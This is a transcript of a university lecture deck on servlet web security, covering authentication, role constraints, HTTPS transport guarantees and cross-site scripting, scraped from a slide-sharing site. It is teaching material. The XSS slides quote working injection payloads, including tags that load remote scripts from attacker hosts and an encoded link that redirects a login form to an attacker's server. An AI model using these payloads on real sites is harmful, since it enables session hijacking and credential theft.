1 / 41

COMP 321

COMP 321. Week 12. Overview. Web Application Security Authentication Authorization Confidentiality Cross-Site Scripting Lab 12-1 Introduction. Types of “Bad Guys”. Impersonators: pretend to be someone with access Upgraders : have valid accounts, but increase their access level

arista
Download Presentation

COMP 321

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript

  1. COMP 321 Week 12

  2. Overview • Web Application Security • Authentication • Authorization • Confidentiality • Cross-Site Scripting • Lab 12-1 Introduction

  3. Types of “Bad Guys” • Impersonators: pretend to be someone with access • Upgraders: have valid accounts, but increase their access level • Eavesdroppers: listen in on web traffic

  4. Security Answer • Authentication: foils impersonators • Authorization: foils upgraders • Confidentiality and Data Integrity: foils eavesdroppers

  5. HTTP Authentication • Client requests protected resource • Container returns 401 - Unauthorized • Browser asks the user for username and password • Browser requests resource again with credentials • Container verifies credentials • Container returns resource

  6. Authorization - Defining Roles <!-- in tomcat-users.xml (vendor-specific) --> <tomcat-users> <role rolename="Admin"/> <role rolename="Member"/> <role rolename="Guest"/> <user username="Annie" password="admin" roles="Admin, Member, Guest"/> <user username="Diane" password="coder" roles="Member, Guest"/> <user username="Ted" password="newbie" roles="Guest"/> </tomcat-users> <!-- In DD --> <security-role><role-name>Admin</role-name></security-role> <security-role><role-name>Member</role-name></security-role> <security-role><role-name>Guest</role-name></security-role> <login-config> <auth-method>BASIC</auth-method> </login-config>

  7. Authorization - Defining Constraints <web-app ...> <security-constraint> <web-resource-collection> <web-resource-name>UpdateRecipes</web-resource-name> <url-pattern>/Beer/AddRecipe/*</url-pattern> <url-pattern>/Beer/ReviewRecipe/*</url-pattern> <http-method>GET</http-method> <http-method>POST</http-method> </web-resource-collection> <auth-constraint> <role-name>Admin</role-name> <role-name>Member</role-name> </auth-constraint> </security-constraint> </web-app>

  8. Sharpen Your Pencil // In servlet if (request.isUserInRole("Manager")) { // Do something } else{ // Do something else } • Consider the code above. What security step must have happened before this snippet runs? • What security step is implied by this snippet? • What part, if any, does the DD play in this snippet? • How do you think this code works? • What if the role of Manager doesn't exist in your container?

  9. Sharpen Your Pencil • Consider the code above. What security step must have happened before this snippet runs? Authentication • What security step is implied by this snippet? Authorization • What part, if any, does the DD play in this snippet? It can be used to link the role name Manager to a role defined in the container (as below). • How do you think this code works? • What if the role of Manager doesn't exist in your container? <web-app ...> <servlet> <security-role-ref> <role-name>Manager</role-name> <role-link>Admin</role-link></security-role-ref> </servlet> ... </web-app>

  10. Sharpen Your Pencil Based on the constraints shown below, decide who can access the protected resources: <security-constraint> <auth-constraint> <role-name>Guest</role-name> </auth-constraint> </security-constraint> Nobody? Guest? Member? Admin? Everyone?

  11. Sharpen Your Pencil <security-constraint> <auth-constraint> <role-name>Guest</role-name> </auth-constraint> </security-constraint> Nobody? Guest? Yes Member? Admin? Everyone?

  12. Sharpen Your Pencil <security-constraint> <auth-constraint/> </security-constraint> Nobody? Guest? Member? Admin? Everyone?

  13. Sharpen Your Pencil <security-constraint> <auth-constraint/> </security-constraint> Nobody? Yes Guest? Member? Admin? Everyone?

  14. Sharpen Your Pencil <security-constraint> <auth-constraint> <role-name>Admin</role-name> </auth-constraint> </security-constraint> <security-constraint> <auth-constraint> <role-name>Guest</role-name> </auth-constraint> </security-constraint> Nobody? Guest? Member? Admin? Everyone?

  15. Sharpen Your Pencil <security-constraint> <auth-constraint> <role-name>Admin</role-name> </auth-constraint> </security-constraint> <security-constraint> <auth-constraint> <role-name>Guest</role-name> </auth-constraint> </security-constraint> Nobody? Guest? Yes Member? Admin? Yes Everyone?

  16. Sharpen Your Pencil <security-constraint> <auth-constraint> <role-name>Guest</role-name> </auth-constraint> </security-constraint> <security-constraint> <auth-constraint> <role-name>*</role-name> </auth-constraint> </security-constraint> Nobody? Guest? Member? Admin? Everyone?

  17. Sharpen Your Pencil <security-constraint> <auth-constraint> <role-name>Guest</role-name> </auth-constraint> </security-constraint> <security-constraint> <auth-constraint> <role-name>*</role-name> </auth-constraint> </security-constraint> Nobody? Guest? Member? Admin? Everyone? Yes

  18. Sharpen Your Pencil <security-constraint> <auth-constraint> <role-name>Member</role-name> </auth-constraint> </security-constraint> <security-constraint> <!-- No auth-constraint here --> </security-constraint> Nobody? Guest? Member? Admin? Everyone?

  19. Sharpen Your Pencil <security-constraint> <auth-constraint> <role-name>Member</role-name> </auth-constraint> </security-constraint> <security-constraint> <!-- No auth-constraint here --> </security-constraint> Nobody? Guest? Member? Admin? Everyone? Yes

  20. Sharpen Your Pencil <security-constraint> <auth-constraint> <role-name>Member</role-name> </auth-constraint> </security-constraint> <security-constraint> <auth-constraint/> </security-constraint> Nobody? Guest? Member? Admin? Everyone?

  21. Sharpen Your Pencil <security-constraint> <auth-constraint> <role-name>Member</role-name> </auth-constraint> </security-constraint> <security-constraint> <auth-constraint/> </security-constraint> Nobody? Yes Guest? Member? Admin? Everyone?

  22. Authentication • BASIC – Pops up dialog, sends login information encoded in base64 format • DIGEST – Sends information in a more secure way, not part of J2EE • CLIENT-CERT – Sends login information encrypted with public key, but requires client to have the certificate installed • FORM – Allows custom login form to be created in HTML, sends login information in the clear

  23. Authentication <!-- Selecting authentication method (works for DIGEST or CLIENT-CERT, too) --> <login-config> <auth-method>BASIC</auth-method> </login-config> <!-- Configuring form-based authentication --> <login-config> <auth-method>FORM</auth-method> <form-login-config> <form-login-page>/loginPage.html</form-login-page> <form-error-page>/loginError.html</form-error-page> </form-login-config> </login-config>

  24. Authentication <!-- In loginPage.html --> You need to log in <form method="POST" action="j_security_check"> <input type="text" name="j_username"> <input type="password" name="j_password"> <input type="submit" value="Enter"> </form> <!-- In loginError.html --> <html><body> Sorry, wrong password. </body></html>

  25. Confidentiality and Data Integrity <web-app ...> <security-constraint> <web-resource-collection> <web-resource-name>Recipes</web-resource-name> <url-pattern>/Beer/UpdateRecipes/*</url-pattern> <http-method>POST</http-method> </web-resource-collection> <auth-constraint> <role-name>Member</role-name> </auth-constraint> <user-data-constraint> <!-- Also could be INTEGRAL --> <transport-guarantee>CONFIDENTIAL</transport-guarantee> </user-data-constraint> </security-constraint> </web-app>

  26. Confidentiality and Data Integrity • Client requests constrained resource with transport guarantee (/BuyStuff.jsp) • Container sends a 301 Redirect to the client for https://... • Browser makes same request over secure connection • Container sees resource is constrained, so responds with 401, causing user to log in • Browser makes same request for a third time with credentials included, and finally receives page

  27. Cross-Site Scripting • A way of putting JavaScript into a vulnerable site that will be executed by other users' browsers • One of the biggest vulnerabilities on the web right now, along with SQL injection

  28. Cross-Site Scripting

  29. Cross-Site Scripting <!-- In form.html --> <form action = './preview.do'method = 'POST'> Image: <input type = 'text' name = 'image'><br/> Alignment: <select name = 'orientation'><option value = 'center'>center</option><option value = 'left'>left</option></select><br/> Width: <input name = "width"size = "4"type = 'text' maxlength= '3'><br/> <input type = 'submit'> </form> <!-- In response page --> http://www.google.com/images/logo_sm.gif<br /><div align = 'center'><imgsrc= 'http://www.google.com/images/logo_sm.gif' width = ''></div>

  30. Attacker Running their own JavaScript! <!-- What if we enter the following into the image field? --> http://www.google.com/images/logo_sm.gif'><script>alert('test')</script> <!-- In response page --> http://www.google.com/images/logo_sm.gif<br /><div align = 'center'><imgsrc= 'http://www.google.com/images/logo_sm.gif'><script>alert('test')</script>' width = ''></div>

  31. Opportunities for “Bad Guys” • Change page contents • Install malware, and make your site look like the bad guy • Steal cookies, and hijack someone else's session

  32. Strategies for Prevention • Sanitize the inputs from the user, and make sure they don't contain script • Fix the image and width fields in the code that handles form submission. Are we safe now?

  33. Cross-Site Scripting <!-- What if we change the select to a text box? --> <form action = './preview.do'method = 'POST'> Image: <input type = 'text' name = 'image'><br/> Alignment: <input type = 'text' name = 'orientation'><br/> Width: <input name = "width"size = "4"type = 'text' maxlength= '3'><br/> <input type = 'submit'> </form>

  34. XSS Audit • David Zimmer performed an XSS audit of a forum site, and posted his thought process here: http://sandsprite.com/Sleuth/papers/RealWorld_XSS_3.html

  35. XSS Audit • First vulnerability: User name not checked for script tags • Added code to his username: • This is displayed on every page where the user has posted • Evil.js contained a document.writeln • Used server logs to see how many people were affected <imgsrc='http://valid address/clear.gif' onload='document.scripts(0).src="http://myserver/evil.js"'>

  36. XSS Audit • Second vulnerability: Article name not checked for script tags, but limited to 45 characters • This is 55 characters: • Third vulnerability: User pictures were not validated at upload, simply saved to disk • Upload "image" file, server calls it /images/778237.jpg • Change article title • Now users can be attacked by viewing the article list • Image file is really a script that sends log data, and then redirects to a real image <script src='http://geocities.com/dzzie/x.js'></script> <script src='images/778237.jpg'></script>

  37. XSS Audit • Fourth vulnerability: Login handling • When a user tries to go to a page that requires an account, the site redirects to login page with referrer as the page the user tried to visit • If the user can be convinced to click a link with a script in the referrer, then they will be asked to log in and the script will then be executed

  38. XSS Audit • To make the link less suspicious, we can encode the script • Then we can make the login form submit to our own site http://login.asp?lan=en%2021&count=100&exp=12&ref=%3Csc%72%69pt%20s%72c%3Db%6Cah%3E%3C%2Fsc%72%69p%74%3E document.forms(0).action = "http://myserver/myscript.asp"

  39. XSS Prevention • Don’t allow script tags • Do this with a whitelist, there are too many possible ways to encode tags otherwise • Validate any content that users can upload to your site - text, images, etc. • Remember that anything running on the client is NOT trusted

  40. Lab 12-1 Introduction • Design solution for the final Lab (13-1) • Define Interface for your Actions • Design Data Model that will hold the info about: • what actions should be used for which URLs • what JSPs should be used for each return code

  41. Progress Check • Due this week • Due next week • Continue working on Lab 10-1 “JSP User Interfaces”

More Related